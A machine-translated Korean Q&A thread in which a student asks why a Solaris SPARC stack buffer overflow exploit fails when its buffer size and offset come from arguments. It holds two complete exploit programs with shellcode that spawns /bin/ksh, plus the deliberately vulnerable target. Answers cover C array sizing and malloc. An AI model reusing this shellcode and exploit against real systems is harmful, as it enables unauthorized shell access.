2012-05-01 3 views
2

나는 최근에 SUN Sparc "서버"를 "공격"하고 버퍼 오버플로를 일으키는 프로그램을 작성하는 프로젝트를 마쳤습니다. 목표는 기본적으로 실행중인 "서버"내부에서/bin/ksh를 시작하는 것이 었습니다.왜 다른 프로그램이 작동하지 않을 때 이러한 프로그램 중 하나가 작동합니까?

결국 나는 그것을 얻었지만, 어리석은 이유라고 생각했다. 사용자가 버퍼를 입력하고 인수로 값을 오프셋했지만 값이 하드 코딩 된 경우 작동하지 않았다. 유일한 차이점은 내가 다음을 정의하지 않고 BUFSIZE 및 오프셋을 선언하는 것이 얼마나

#include <stdlib.h> 
#include <stdio.h> 

/* lsd - Solaris shellcode 
*/ 
static char shell[]=   /* 10*4+8 bytes */ 

    "\x20\xbf\xff\xff" /* bn,a */ 
    "\x20\xbf\xff\xff" /* bn,a */ 
    "\x7f\xff\xff\xff" /* call */ 
    "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
    "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
    "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
    "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
    "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
    "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ 
    "\x91\xd0\x20\x08" /* ta 8 */ 
    "/bin/ksh" ; 

static int BUFSIZE; 
static int OFFSET; 

/* SPARC NOP 
*/ 
static char np[] = "\xac\x15\xa1\x6e"; 

unsigned long get_sp(void) { 
    asm("or %sp,%sp,%i0"); 
} 

main(int argc, char *argv[]) { 

BUFSIZE = atoi(argv[1]); 
OFFSET = atoi(argv[2]); 
char buf[ BUFSIZE ],*ptr; 
unsigned long ret,sp; 
int rem,i,err; 

ret = sp = get_sp(); 

if(argv[1]) { 
     ret -= strtoul(argv[1], (void *)0, 16); 
} 
/* align return address: IMPORTANT to be multiple of 8!! */ 

if((rem = ret % 8)) { 
     ret &= ~(rem); 
} 

bzero(buf, BUFSIZE); 
for(i = 0; i < BUFSIZE; i+=4) { 
     strcpy(&buf[i], np); 
} 

memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell)); 

ptr = &buf[OFFSET]; 

/* set fp to a save stack value 
*/ 
*(ptr++) = (sp >> 24) & 0xff; 
*(ptr++) = (sp >> 16) & 0xff; 
*(ptr++) = (sp >> 8) & 0xff; 
*(ptr++) = (sp) & 0xff; 

/* we now overwrite saved PC 
*/ 
*(ptr++) = (ret >> 24) & 0xff; 
*(ptr++) = (ret >> 16) & 0xff; 
*(ptr++) = (ret >> 8) & 0xff; 
*(ptr++) = (ret) & 0xff; 

buf[ BUFSIZE ] = 0; 


#ifndef QUIET 
    printf("Return Address 0x%x\n",ret); 
    printf("Start overflowing server program\n"); 
    printf("Then a program such as shell can be executed after server program is over\n"); 
#endif 

    err = execl("./server1", "server1", buf, (void *)0); 
    if(err == -1) perror("execl"); 
} 

참고 : 여기에

은 "딱딱한"프로그램입니다 :

#include <stdlib.h> 
#include <stdio.h> 

/* lsd - Solaris shellcode 
*/ 
static char shell[]=   /* 10*4+8 bytes */ 

     "\x20\xbf\xff\xff" /* bn,a */ 
     "\x20\xbf\xff\xff" /* bn,a */ 
     "\x7f\xff\xff\xff" /* call */ 
     "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
     "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
     "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
     "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
     "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
     "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ 
     "\x91\xd0\x20\x08" /* ta 8 */ 
     "/bin/ksh" ; 

#define BUFSIZE 864 

/* SPARC NOP 
*/ 
static char np[] = "\xac\x15\xa1\x6e"; 

unsigned long get_sp(void) { 
     asm("or %sp,%sp,%i0"); 
} 

main(int argc, char *argv[]) { 

    char buf[ BUFSIZE ],*ptr; 
    unsigned long ret,sp; 
    int rem,i,err; 

    ret = sp = get_sp(); 

    if(argv[1]) { 
      ret -= strtoul(argv[1], (void *)0, 16); 
    } 

    /* align return address: IMPORTANT to be multiple of 8!! */ 

    if((rem = ret % 8)) { 
      ret &= ~(rem); 
    } 

    bzero(buf, BUFSIZE); 
    for(i = 0; i < BUFSIZE; i+=4) { 
      strcpy(&buf[i], np); 
    } 

    memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell)); 

    ptr = &buf[856]; 

    /* set fp to a save stack value 
    */ 
    *(ptr++) = (sp >> 24) & 0xff; 
    *(ptr++) = (sp >> 16) & 0xff; 
    *(ptr++) = (sp >> 8) & 0xff; 
    *(ptr++) = (sp) & 0xff; 


    /* we now overwrite saved PC 
    */ 
    *(ptr++) = (ret >> 24) & 0xff; 
    *(ptr++) = (ret >> 16) & 0xff; 
    *(ptr++) = (ret >> 8) & 0xff; 
    *(ptr++) = (ret) & 0xff; 

    buf[ BUFSIZE ] = 0; 


#ifndef QUIET 
    printf("Return Address 0x%x\n",ret); 
    printf("Start overflowing server program\n"); 
    printf("Then a program such as shell can be executed after server program is over\n"); 
#endif 

    err = execl("./server1", "server1", buf, (void *)0); 
    if(err == -1) perror("execl"); 
} 

그리고 여기에 "유연한"버전입니다 메인에 설정하십시오.

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

void copy1(const char *a){ 
char buf[800]; 
    int i, j, k; 
    printf("Inside COPY\n"); 
strcpy(buf,a); 
} 

void Doing_nothing() { 
    int i, a[200]; 
    printf("Inside Doing_nothing\n"); 
    for (i=0; i < 100; i++) 
    a[i] =2; 
} 

void main(int argc, char *argv[]) { 

    printf("\n *********************************\n"); 
    printf("This is a newly developed WEB server. \n"); 
    printf(" ****************************************\n") ; 
    printf(" ******The web server is executing*******\n") ; 
    printf(" ****************************************\n") ; 
if (argc >=2) { 
     Doing_nothing(); 
     copy1(argv[1]); 
}  
} 

이 내 모든 오라클 솔라리스 10 9/10 s10s_u9wos_14a의 SPARC 시스템에서 컴파일 :

후세를 들어, 다음은 "서버"나는 공격 해요입니다.

내 질문은 :

이유는 유연한 프로그램은 '내가 만드는 원인 BUFSIZE 작업 및 명령 줄 인수를 OFFSET하지 않을까요?

답변

2

나는 역동적 인 코드가 컴파일되어 놀랐다.

int A[X] 형태로 스택에 선언 된 배열은 컴파일시 알려진 크기 여야합니다.

malloc으로 배열을 할당해야합니다.

char buf[ BUFSIZE ],*ptr; 

1

을 대답은 간단 완료되면 그것을 해제하는 것을 잊지

char *buf,*ptr; 
buf = (char *)malloc(BUFSIZE); 

하고 해달라고한다. C는 배열을 정의 할 때 변수를 크기 지정자로 사용하는 것을 원하지 않습니다. 한가지 방법은 첫 번째 예제에서와 같이 #define을 사용하거나 const int를 사용하는 것입니다. 이

+0

내가, 너희들이 '돈 것이없는 나 자신에 화가있어 도움이

char * buf = (char *) malloc(BUFSIZE * sizeof(char)); /* sizeof(char) is optional ideally */ ... ... /*when you are done*/ free(buf); buf = NULL; 

희망 : 인수로 지정된 크기를 갖고 싶어 , 당신은 동적 메모리 할당 시도를 사용할 필요가 심지어 알지도 못한다. 문제는 여전히 의도 한대로 작동하지 않는다는 것입니다. – BigDamnHero